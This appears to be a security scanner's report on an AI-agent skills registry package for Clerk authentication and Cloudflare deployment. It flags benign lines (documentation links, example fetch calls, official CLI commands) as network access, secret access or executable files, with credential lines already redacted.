packages/autoskills/skills-registry/clerk-custom-ui/core-3/custom-sign-in.md
- Network accessline 182
From [the docs](https://clerk.com/docs/guides/development/custom-flows/authentication/multi-factor-authentication). Supports SMS verification codes, authenticator app (TOTP), and backup codes. - Network accessline 211
if (session?.currentTask) { // Handle pending session tasks // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks - Network accessline 212
// Handle pending session tasks // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks console.log(session?.currentTask) - Network accessline 213
// See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks - Network accessline 244
if (session?.currentTask) { // Handle pending session tasks // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks - Network accessline 245
// Handle pending session tasks // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks console.log(session?.currentTask) - Network accessline 246
// See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks - Network accessline 312
- [Custom sign-in flow](https://clerk.com/docs/custom-flows/overview) - Network accessline 313
- [MFA custom flow](https://clerk.com/docs/guides/development/custom-flows/authentication/multi-factor-authentication) - Network accessline 314
- [useSignIn() reference](https://clerk.com/docs/reference/hooks/use-sign-in)
packages/autoskills/skills-registry/clerk-custom-ui/core-3/custom-sign-up.md
- Network accessline 116
If `signUp.isTransferable` is `true`, the identifier matches an existing user and the sign-up should be transferred to a sign-in flow. This involves coordinating between sign-up and sign-in resources. See the [transferable sign-up docs](htt - Network accessline 151
From [the docs](https://clerk.com/docs/guides/development/custom-flows/authentication/email-sms-otp). Uses phone OTP with inline comments for adapting to email OTP. - Network accessline 185
if (session?.currentTask) { // Handle pending session tasks // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks - Network accessline 186
// Handle pending session tasks // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks console.log(session?.currentTask) - Network accessline 187
// See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks - Network accessline 257
- [Custom sign-up flow](https://clerk.com/docs/custom-flows/overview) - Network accessline 258
- [Email/phone OTP custom flow](https://clerk.com/docs/guides/development/custom-flows/authentication/email-sms-otp) - Network accessline 259
- [useSignUp() reference](https://clerk.com/docs/reference/hooks/use-sign-up)
packages/autoskills/skills-registry/clerk-custom-ui/core-3/show-component.md
- Network accessline 125
- [Show component reference](https://clerk.com/docs/reference/components/control/show)
packages/autoskills/skills-registry/clerk-expo/SKILL.md
- Network accessline 72
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Network accessline 73
2. **Native API dashboard toggle** — Clerk's Native API must be enabled for the instance: Clerk Dashboard → **Native applications** (`https://dashboard.clerk.com/~/native-applications`). Tell the developer to verify this during setup; it is - Access to secretsline 101
[Credential-related source omitted] - Network accessline 114
- `clerk-orgs`, `clerk-billing`, `clerk-webhooks` — feature skills (hooks work the same in Expo) - Installed package source: `node_modules/@clerk/expo/` - https://clerk.com/docs/getting-started/quickstart (Expo SDK tab) - Network accessline 115
- Installed package source: `node_modules/@clerk/expo/` - https://clerk.com/docs/getting-started/quickstart (Expo SDK tab) - https://clerk.com/docs/reference/expo/overview - Network accessline 116
- https://clerk.com/docs/getting-started/quickstart (Expo SDK tab) - Network accessline 117
- https://clerk.com/docs/reference/expo/overview - Network accessline 118
- https://github.com/clerk/clerk-expo-quickstart — three official example apps: JS-only (Expo Go), JS + native sign-in buttons, native components
packages/autoskills/skills-registry/clerk-expo/evals/evals.json
packages/autoskills/skills-registry/clerk-expo/references/custom-flows.md
- Network accessline 5
[Credential-related source omitted] - Network accessline 6
[Credential-related source omitted] - Network accessline 7
> - Email/SMS OTP: https://clerk.com/docs/guides/development/custom-flows/authentication/email-sms-otp - Network accessline 8
> - Combined sign-in-or-up: https://clerk.com/docs/guides/development/custom-flows/authentication/sign-in-or-up - Network accessline 9
> - MFA: https://clerk.com/docs/guides/development/custom-flows/authentication/multi-factor-authentication - Network accessline 10
[Credential-related source omitted] - Network accessline 11
> - Email links: https://clerk.com/docs/guides/development/custom-flows/authentication/email-links - Network accessline 12
> - Error handling: https://clerk.com/docs/guides/development/custom-flows/error-handling - Network accessline 42
if (session?.currentTask) { // Route to your session-task UI instead of home. // https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks - Network accessline 43
// Route to your session-task UI instead of home. // https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks return - Network accessline 44
// https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks
packages/autoskills/skills-registry/clerk-expo/references/prebuilt-components.md
- Network accessline 5
> Canonical docs (fetch to re-verify if the installed SDK is newer than 3.6.x): > https://clerk.com/docs/reference/expo/native-components/overview — plus `auth-view`, `user-button`, `user-profile-view`, `theming` pages alongside it - Network accessline 6
> https://clerk.com/docs/reference/expo/native-components/overview — plus `auth-view`, `user-button`, `user-profile-view`, `theming` pages alongside it
packages/autoskills/skills-registry/clerk-expo/references/protected-routes.md
- Network accessline 5
> Canonical doc: https://clerk.com/docs/expo/guides/users/reading (protect content and read user data)
packages/autoskills/skills-registry/clerk-expo/references/recipes.md
- Network accessline 5
> Canonical docs (fetch to re-verify if the installed SDK is newer than 3.6.x): > https://clerk.com/docs/reference/expo/overview — plus `local-credentials` and `passkeys` pages under the Expo reference - Network accessline 6
> https://clerk.com/docs/reference/expo/overview — plus `local-credentials` and `passkeys` pages under the Expo reference - Network accessline 53
const { getToken } = useAuth() const res = await fetch(`${API_URL}/endpoint`, { - Network accessline 54
const res = await fetch(`${API_URL}/endpoint`, { - Network accessline 89
- `unsafeMetadata` is client-writable; anything that must be trusted belongs in `publicMetadata`, written server-side via the Backend SDK. - Server send: look up the user with the Backend SDK, read `unsafeMetadata.expoPushToken`, POST to `h - Network accessline 90
- Server send: look up the user with the Backend SDK, read `unsafeMetadata.expoPushToken`, POST to `https://exp.host/--/api/v2/push/send`. - Access to secretsline 95
[Credential-related source omitted] - Network accessline 123
Requires associated-domains setup (iOS) / asset links (Android). Fetch https://clerk.com/docs/reference/expo/passkeys for the current platform configuration before implementing — this surface is still experimental and changes.
packages/autoskills/skills-registry/clerk-expo/references/setup.md
- Network accessline 5
> Canonical doc (fetch to re-verify if the installed SDK is newer than 3.6.x): https://clerk.com/docs/getting-started/quickstart (Expo SDK tab) - Network accessline 46
- **Native API enabled**: Clerk Dashboard → **Native applications** (`https://dashboard.clerk.com/~/native-applications`). Required for native apps to talk to Clerk. - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted]
packages/autoskills/skills-registry/clerk-expo/references/sso-and-native-auth.md
- Network accessline 3
> Canonical docs (fetch to re-verify if the installed SDK is newer than 3.6.x): > - OAuth custom flow: https://clerk.com/docs/guides/development/custom-flows/authentication/oauth-connections - Network accessline 4
> - OAuth custom flow: https://clerk.com/docs/guides/development/custom-flows/authentication/oauth-connections - Network accessline 5
> - `useSSO`: https://clerk.com/docs/reference/expo/native-hooks/use-sso - Network accessline 6
> - Native Google/Apple: https://clerk.com/docs/reference/expo/native-hooks/use-sign-in-with-google and `use-sign-in-with-apple` - Network accessline 68
Full provider-side setup lives at https://clerk.com/docs/guides/configure/auth-strategies/sign-in-with-google — fetch it if the Google Cloud side isn't already configured. - Network accessline 99
iOS only; dev build only. Requires `npx expo install expo-apple-authentication` and the Sign in with Apple capability (the `expo-apple-authentication` plugin handles the entitlement — add it to `app.json` plugins). Full setup: https://clerk
packages/autoskills/skills-registry/clerk-nextjs-patterns/SKILL.md
- Network accessline 19
> **Route protection:** call `await auth.protect()` in each page, Route Handler, and Server Function. Keep `clerkMiddleware()` bare. `createRouteMatcher` is deprecated in `@clerk/nextjs` 7 and will be removed in the next major version. Don' - Network accessline 146
const res = await fetch('https://api.example.com/graphql', { - Network accessline 167
const res = await fetch('https://api.example.com/data', { - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 226
[Credential-related source omitted] - Network accessline 255
[Next.js SDK](https://clerk.com/docs/reference/nextjs/overview)
packages/autoskills/skills-registry/clerk-nextjs-patterns/references/api-routes.md
- Network accessline 50
[Docs](https://clerk.com/docs/reference/nextjs/auth)
packages/autoskills/skills-registry/clerk-nextjs-patterns/references/caching-auth.md
- Network accessline 56
[Docs](https://nextjs.org/docs/app/building-your-application/caching)
packages/autoskills/skills-registry/clerk-nextjs-patterns/references/middleware-strategies.md
- Network accessline 7
`createRouteMatcher` is deprecated in `@clerk/nextjs` 7 and will be removed in the next major version. Don't add it. If a project already uses it, leave it working and point the user to the [migration guide](https://clerk.com/docs/guides/de - Network accessline 100
Prefer permissions over roles — permissions are more granular and easier to reassign across roles in the Dashboard. See the [authorization checks guide](https://clerk.com/docs/guides/secure/authorization-checks). - Access to secretsline 118
[Credential-related source omitted] - Network accessline 124
Call `getAuth(req)` in `getServerSideProps` and in each `pages/api` handler, and return `401` when `isAuthenticated` is false. See the [`getAuth()` reference](https://clerk.com/docs/reference/nextjs/pages-router/get-auth). - Network accessline 128
Signed-out users can be redirected to sign-in from `proxy.ts` before the page renders. That is a latency optimization only; the page still calls `auth.protect()`. See [What about early redirects for signed-out users?](https://clerk.com/docs - Network accessline 155
`<SignIn />` renders the pending task by default, so `/sign-in` is enough. To host tasks on your own pages, set `taskUrls` on `<ClerkProvider>` and redirect there instead. The redirect is a navigation convenience, not a security boundary: a - Network accessline 159
[Docs](https://clerk.com/docs/reference/nextjs/clerk-middleware)
packages/autoskills/skills-registry/clerk-nextjs-patterns/references/server-actions.md
- Network accessline 56
[Docs](https://clerk.com/docs/reference/nextjs/server-actions)
packages/autoskills/skills-registry/clerk-nextjs-patterns/references/server-vs-client.md
- Network accessline 104
[Docs](https://clerk.com/docs/reference/nextjs/auth)
packages/autoskills/skills-registry/clerk-nextjs-patterns/templates/nextjs-basic-auth/app/layout.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-nextjs-patterns/templates/nextjs-basic-auth/app/page.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-nextjs-patterns/templates/nextjs-basic-auth/package.json
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-nextjs-patterns/templates/nextjs-basic-auth/proxy.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-nuxt-patterns/SKILL.md
- Network accessline 116
[Nuxt SDK](https://clerk.com/docs/nuxt/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-nuxt-patterns/references/composables.md
- Network accessline 95
[Docs](https://clerk.com/docs/nuxt/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-nuxt-patterns/references/nuxt-middleware.md
- Network accessline 69
[Docs](https://clerk.com/docs/nuxt/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-nuxt-patterns/references/server-api-routes.md
- Network accessline 70
[Docs](https://clerk.com/docs/nuxt/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-nuxt-patterns/references/ssr-auth.md
- Network accessline 84
[Docs](https://clerk.com/docs/nuxt/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-nuxt-patterns/templates/nuxt-basic-auth/nuxt.config.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-nuxt-patterns/templates/nuxt-basic-auth/package.json
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-orgs/SKILL.md
- Network accessline 19
> **STOP — prerequisite.** Organizations must be enabled before any org-related API, hook, or component works. Two paths: (1) [Dashboard → Organizations settings](https://dashboard.clerk.com/last-active?path=organizations-settings), or (2) - Network accessline 60
1. **Enable Organizations** — via [Dashboard → Organizations settings](https://dashboard.clerk.com/last-active?path=organizations-settings) or `clerk enable orgs` (see Agent-first section). Pick `Membership required` (B2B-only) or `Membersh - Network accessline 86
| Action | URL | |---|---| | Enable Organizations + Membership mode | `https://dashboard.clerk.com/last-active?path=organizations-settings` | - Network accessline 87
|---|---| | Enable Organizations + Membership mode | `https://dashboard.clerk.com/last-active?path=organizations-settings` | | Manage roles + permissions | `https://dashboard.clerk.com/last-active?path=organizations-settings/roles` | - Network accessline 88
| Enable Organizations + Membership mode | `https://dashboard.clerk.com/last-active?path=organizations-settings` | - Network accessline 89
| Manage roles + permissions | `https://dashboard.clerk.com/last-active?path=organizations-settings/roles` | - Network accessline 90
| Create/edit an organization | `https://dashboard.clerk.com/last-active?path=organizations` | - Network accessline 91
| Webhooks for org events | `https://dashboard.clerk.com/last-active?path=webhooks` | - Network accessline 153
# Send: clerk api -X POST /v1/organizations/<org_id>/invitations \ -d '{"email_address":"alice@example.com","role":"org:member","redirect_url":"https://app.com/accept"}' - Network accessline 154
clerk api -X POST /v1/organizations/<org_id>/invitations -d '{"email_address":"alice@example.com","role":"org:member","redirect_url":"https://app.com/accept"}' - Network accessline 155
-d '{"email_address":"alice@example.com","role":"org:member","redirect_url":"https://app.com/accept"}' - Network accessline 173
- [Overview](https://clerk.com/docs/guides/organizations/overview) - Network accessline 174
- [Configure + enable](https://clerk.com/docs/guides/organizations/configure) - Network accessline 175
- [Roles and permissions](https://clerk.com/docs/guides/organizations/control-access/roles-and-permissions) - Network accessline 176
- [Check access](https://clerk.com/docs/guides/organizations/control-access/check-access) - Network accessline 177
- [Invitations](https://clerk.com/docs/guides/organizations/add-members/invitations) - Network accessline 178
- [OrganizationSwitcher](https://clerk.com/docs/reference/components/organization/organization-switcher) - Network accessline 179
- [Verified domains](https://clerk.com/docs/guides/organizations/add-members/verified-domains) - Network accessline 180
- [Enterprise SSO](https://clerk.com/docs/guides/organizations/add-members/sso) - Network accessline 293
The full prop list lives in the [component reference](https://clerk.com/docs/reference/components/organization/organization-switcher). - Network accessline 448
emailAddress, role, // e.g. 'org:admin' or 'org:member' redirectUrl: 'https://yourapp.com/accept-invite', - Network accessline 449
role, // e.g. 'org:admin' or 'org:member' redirectUrl: 'https://yourapp.com/accept-invite', }) - Network accessline 450
redirectUrl: 'https://yourapp.com/accept-invite',
packages/autoskills/skills-registry/clerk-orgs/references/enterprise-sso.md
- Network accessline 3
Per-organization SAML or OIDC. Configured via [Dashboard → Configure → Enterprise Connections](https://dashboard.clerk.com/last-active?path=user-authentication/enterprise-connections) or via `clerk api -X POST /v1/enterprise_connections` (r - Network accessline 74
- Enrollment modes: Manual invitation, Automatic invitation, Automatic suggestion. - Permission: `org:sys_domains:manage`. - Full reference: [docs/guides/organizations/add-members/verified-domains.mdx](https://clerk.com/docs/guides/organiza - Network accessline 76
- Full reference: [docs/guides/organizations/add-members/verified-domains.mdx](https://clerk.com/docs/guides/organizations/add-members/verified-domains). - Network accessline 80
When a user signs in via an Enterprise SSO connection scoped to an org, Clerk's [Just-in-Time (JIT) Provisioning](https://clerk.com/docs/guides/configure/auth-strategies/enterprise-connections/jit-provisioning) automatically adds them as a
packages/autoskills/skills-registry/clerk-orgs/references/invitations.md
- Network accessline 35
emailAddress, role, redirectUrl: 'https://yourapp.com/accept-invite', - Network accessline 36
role, redirectUrl: 'https://yourapp.com/accept-invite', publicMetadata: { invitedFrom: 'admin-panel' }, - Network accessline 37
redirectUrl: 'https://yourapp.com/accept-invite', - Network accessline 129
If you need to build your own accept page instead of relying on Clerk's account portal, see the custom flow doc: [Accept Organization Invitations](https://clerk.com/docs/guides/development/custom-flows/organizations/accept-organization-invi
packages/autoskills/skills-registry/clerk-orgs/references/nextjs-patterns.md
- Network accessline 24
`org:billing:manage` is a custom permission: create it in the Dashboard and assign it to a role. Server-side permission checks only work with custom permissions. System permissions (`org:sys_*`) aren't in the session token, so to require on
packages/autoskills/skills-registry/clerk-orgs/references/roles-permissions.md
- Network accessline 39
Up to 10 custom Roles per instance. Create via [Dashboard → Roles & Permissions](https://dashboard.clerk.com/last-active?path=organizations-settings/roles) → **Add role**, or via `clerk api -X POST /v1/organization_roles` with body `{"name" - Network accessline 48
Create via [Dashboard → Roles & Permissions](https://dashboard.clerk.com/last-active?path=organizations-settings/roles) → **Permissions** tab → **Add permission**, or via two steps: (1) `clerk api -X POST /v1/organization_permissions` with
packages/autoskills/skills-registry/clerk-react-patterns/SKILL.md
packages/autoskills/skills-registry/clerk-react-patterns/evals/evals.json
packages/autoskills/skills-registry/clerk-react-patterns/references/custom-flows.md
- Network accessline 105
[Docs](https://clerk.com/docs/react/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-react-patterns/references/hooks.md
packages/autoskills/skills-registry/clerk-react-patterns/references/protected-routes.md
packages/autoskills/skills-registry/clerk-react-patterns/references/router-integration.md
packages/autoskills/skills-registry/clerk-react-patterns/templates/react-basic-auth/package.json
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-react-patterns/templates/react-basic-auth/src/App.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-react-patterns/templates/react-basic-auth/src/main.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-react-patterns/templates/react-basic-auth/vite.config.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-react-router-patterns/SKILL.md
- Network accessline 49
duplication is per export condition, not per installed copy. Do not chase duplicate installs; add the workaround (upstream issue: https://github.com/remix-run/react-router/issues/15232): - Network accessline 51
https://github.com/remix-run/react-router/issues/15232): - Network accessline 217
[React Router SDK](https://clerk.com/docs/react-router/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/app/root.tsx
- Executable scriptline 1
Executable file - Network accessline 12
export const links: Route.LinksFunction = () => [ { rel: 'preconnect', href: 'https://fonts.googleapis.com' }, - Network accessline 13
{ rel: 'preconnect', href: 'https://fonts.googleapis.com' }, - Network accessline 14
{ rel: 'preconnect', href: 'https://fonts.gstatic.com', - Network accessline 15
rel: 'preconnect', href: 'https://fonts.gstatic.com', crossOrigin: 'anonymous', - Network accessline 16
href: 'https://fonts.gstatic.com', - Network accessline 19
{ rel: 'stylesheet', href: 'https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap', - Network accessline 20
rel: 'stylesheet', href: 'https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap', }, - Network accessline 21
href: 'https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap',
packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/app/routes.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/app/routes/home.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/package.json
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/react-router.config.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-react-router-patterns/templates/react-router-basic-auth/vite.config.ts
- Executable scriptline 1
Executable file - Network accessline 7
// react-router's production build while the app uses the development build — // two Router contexts, and useNavigate() throws inside ClerkProvider. // See https://github.com/remix-run/react-router/issues/15232 - Network accessline 9
// See https://github.com/remix-run/react-router/issues/15232
packages/autoskills/skills-registry/clerk-setup/SKILL.md
- Network accessline 14
Use the [Clerk CLI](https://clerk.com/docs/cli) to add authentication. In agent environments, supported frameworks default to accountless setup: `npx -y clerk@latest init` provisions a claimable application and writes temporary development - Network accessline 39
See the [migration guide](https://clerk.com/docs/guides/development/migrating/overview). - Network accessline 45
Inspect its Clerk package versions before changing anything and use the version table in the [clerk skill](https://clerk.com/.well-known/skills/clerk/SKILL.md) to identify its SDK generation. Preserve that generation unless the user asks to - Network accessline 119
- [Next.js](https://clerk.com/docs/nextjs/getting-started/quickstart.md?manual=1) - Network accessline 120
- [React](https://clerk.com/docs/react/getting-started/quickstart.md?manual=1) - Network accessline 121
- [React Router](https://clerk.com/docs/react-router/getting-started/quickstart.md?manual=1) - Network accessline 122
- [Nuxt](https://clerk.com/docs/nuxt/getting-started/quickstart.md?manual=1) - Network accessline 123
- [TanStack Start](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart.md?manual=1) - Network accessline 124
- [Astro](https://clerk.com/docs/astro/getting-started/quickstart.md?manual=1) - Network accessline 125
- [Vue](https://clerk.com/docs/vue/getting-started/quickstart.md?manual=1) - Network accessline 126
- [JavaScript or Vite](https://clerk.com/docs/js-frontend/getting-started/quickstart.md?manual=1) - Network accessline 127
- [Expo](https://clerk.com/docs/expo/getting-started/quickstart.md?manual=1) - Network accessline 128
- [Express](https://clerk.com/docs/expressjs/getting-started/quickstart.md?manual=1) - Network accessline 129
- [Fastify](https://clerk.com/docs/fastify/getting-started/quickstart.md?manual=1) - Network accessline 130
- [iOS](https://clerk.com/docs/ios/getting-started/quickstart.md?manual=1) - Network accessline 131
- [Android](https://clerk.com/docs/android/getting-started/quickstart.md?manual=1) - Network accessline 132
- [Chrome extension](https://clerk.com/docs/chrome-extension/getting-started/quickstart.md?manual=1) - Network accessline 134
For everything else, use [Clerk's llms.txt](https://clerk.com/llms.txt). - Network accessline 168
Bot protection can block sign-ups in browsers you automate. If you test a new accountless app in one, run `npx -y clerk@latest users create --email <unique>+clerk_test@example.com --password <random-16-char-alphanumeric> --yes`, then sign i - Network accessline 201
Then ask how they want users to sign up and sign in — identifiers (email, phone, username) and social providers. Changing these needs a claimed application: have the user run `npx -y clerk@latest auth login` first, then review with `npx -y - Network accessline 213
If no, point them to [Organizations](https://clerk.com/docs/guides/organizations/overview), [Components](https://clerk.com/docs/reference/components/overview), and the [Clerk Dashboard](https://dashboard.clerk.com/).
packages/autoskills/skills-registry/clerk-setup/evals/evals.json
- Access to secretsline 13
[Credential-related source omitted]
packages/autoskills/skills-registry/clerk-swift/SKILL.md
- Network accessline 152
- If required quickstart setup is missing, implement it before completing the task. - This includes adding any missing Associated Domains entries and any other required app capabilities from the quickstart. - Explicitly execute the quicksta - Network accessline 154
- Explicitly execute the quickstart step `Add associated domain capability` (`https://clerk.com/docs/ios/getting-started/quickstart#add-associated-domain-capability`) and ensure the associated-domain entry matches quickstart requirements (` - Network accessline 201
- `clerk-setup` skill for non-native or cross-framework setup - installed `clerk-ios` package `README.md` (source for current iOS quickstart link) - `https://github.com/clerk/clerk-ios` - Network accessline 203
- `https://github.com/clerk/clerk-ios`
packages/autoskills/skills-registry/clerk-swift/references/custom.md
- Network accessline 37
- If required setup is missing, add it before finishing custom auth implementation. - Always add any missing Associated Domains entries and any other capabilities required by the quickstart. - Explicitly apply quickstart step `Add associate - Network accessline 39
- Explicitly apply quickstart step `Add associated domain capability` (`https://clerk.com/docs/ios/getting-started/quickstart#add-associated-domain-capability`); ensure `webcredentials:{YOUR_FRONTEND_API_URL}` exists when missing.
packages/autoskills/skills-registry/clerk-swift/references/prebuilt.md
- Network accessline 19
- If required setup is missing, add it before finishing prebuilt auth implementation. - Always add any missing Associated Domains entries and any other capabilities required by the quickstart. - Explicitly apply quickstart step `Add associa - Network accessline 21
- Explicitly apply quickstart step `Add associated domain capability` (`https://clerk.com/docs/ios/getting-started/quickstart#add-associated-domain-capability`); ensure `webcredentials:{YOUR_FRONTEND_API_URL}` exists when missing.
packages/autoskills/skills-registry/clerk-tanstack-patterns/SKILL.md
- Network accessline 125
[TanStack React Start SDK](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-tanstack-patterns/references/loaders.md
- Network accessline 74
[Docs](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-tanstack-patterns/references/router-guards.md
- Network accessline 82
[Docs](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-tanstack-patterns/references/server-functions.md
- Network accessline 91
[Docs](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-tanstack-patterns/references/server-setup.md
- Network accessline 100
[TanStack React Start quickstart](https://clerk.com/docs/tanstack-react-start/getting-started/quickstart)
packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/package.json
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/src/router.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/src/routes/__root.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/src/routes/index.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/src/start.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-tanstack-patterns/templates/tanstack-basic-auth/vite.config.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-testing/SKILL.md
- Network accessline 17
| Framework | Documentation | |-----------|---------------| | Overview | https://clerk.com/docs/guides/development/testing/overview | - Network accessline 18
|-----------|---------------| | Overview | https://clerk.com/docs/guides/development/testing/overview | | Playwright | https://clerk.com/docs/guides/development/testing/playwright/overview | - Network accessline 19
| Overview | https://clerk.com/docs/guides/development/testing/overview | - Network accessline 20
| Playwright | https://clerk.com/docs/guides/development/testing/playwright/overview | - Network accessline 21
| Cypress | https://clerk.com/docs/guides/development/testing/cypress/overview | - Network accessline 59
- `clerk-setup` - Install Clerk before adding tests - `clerk-nextjs-patterns` - Next.js patterns being tested - [Demo Repo](https://github.com/clerk/clerk-playwright-nextjs/tree/main/e2e) - Network accessline 61
- [Demo Repo](https://github.com/clerk/clerk-playwright-nextjs/tree/main/e2e)
packages/autoskills/skills-registry/clerk-vue-patterns/SKILL.md
packages/autoskills/skills-registry/clerk-vue-patterns/templates/vue-basic-auth/package.json
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-vue-patterns/templates/vue-basic-auth/src/main.ts
packages/autoskills/skills-registry/clerk-vue-patterns/templates/vue-basic-auth/vite.config.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/clerk-webhooks/SKILL.md
- Network accessline 27
Do NOT rely on webhook delivery as part of a synchronous flow such as onboarding ("user signs up, then we read X from our DB"). For data the user just created, read it from the [Clerk session token](https://clerk.com/docs/guides/sessions/se - Network accessline 35
Webhook deliveries carry no user session. `verifyWebhook()` is the only check the route needs. A bare `clerkMiddleware()` protects nothing, so the route is already reachable. Don't call `auth.protect()` for `/api/webhooks(.*)`, in middlewar - Access to secretsline 101
[Credential-related source omitted] - Network accessline 128
// Step 5: Post notification to Slack channel await fetch(process.env.SLACK_WEBHOOK_URL!, { - Network accessline 129
await fetch(process.env.SLACK_WEBHOOK_URL!, { - Network accessline 291
**Retries**: Svix retries failed webhooks on a set schedule (see [Svix Retry Schedule](https://docs.svix.com/retries)). Return 2xx to succeed, 4xx/5xx to retry. Use the `svix-id` header as an idempotency key to deduplicate retried events. - Network accessline 312
clerk webhooks listen --token "$(clerk webhooks token)" --forward-to http://localhost:3000/api/webhooks - Network accessline 315
Add the printed relay URL (`https://webhooks.clerk.com/in/c_.../`) as a webhook endpoint in the Dashboard — events don't flow until you do. `svix-*` headers are preserved, so `verifyWebhook()` works against that endpoint's signing secret as
packages/autoskills/skills-registry/clerk-webhooks/evals/evals.json
- Access to secretsline 42
[Credential-related source omitted]
packages/autoskills/skills-registry/clerk-webhooks/references/frameworks.md
packages/autoskills/skills-registry/cloudflare-deploy/LICENSE.txt
packages/autoskills/skills-registry/cloudflare-deploy/assets/cloudflare-small.svg
- Network accessline 1
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/configuration.md
- Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Network accessline 63
export default { fetch(request: Request, env: Env) { - Network accessline 64
fetch(request: Request, env: Env) { - Network accessline 75
export default { async fetch(request: Request, env: Env) { - Network accessline 76
async fetch(request: Request, env: Env) { - Network accessline 85
const stub = env.MyAgent.get(id); return stub.fetch(request); - Network accessline 86
return stub.fetch(request); - Network accessline 96
export default { fetch(request: Request, env: Env) { - Network accessline 97
fetch(request: Request, env: Env) { - Access to secretsline 140
[Credential-related source omitted] - Network accessline 171
{ "vars": { "MCP_SERVER_URL": "https://mcp.example.com" - Network accessline 172
"vars": { "MCP_SERVER_URL": "https://mcp.example.com" } - Network accessline 173
"MCP_SERVER_URL": "https://mcp.example.com" - Access to secretsline 179
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/gotchas.md
packages/autoskills/skills-registry/cloudflare-deploy/references/agents-sdk/patterns.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/ai-gateway/README.md
- Access to secretsline 40
[Credential-related source omitted] - Network accessline 68
[Credential-related source omitted] - Network accessline 69
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Network accessline 70
baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/compat`, - Network accessline 88
export default { async fetch(request, env, ctx) { - Network accessline 89
async fetch(request, env, ctx) { - Network accessline 148
**Key URL patterns:** - Unified API (OpenAI-compatible): `https://gateway.ai.cloudflare.com/v1/{account_id}/{gateway_id}/compat/chat/completions` - Network accessline 149
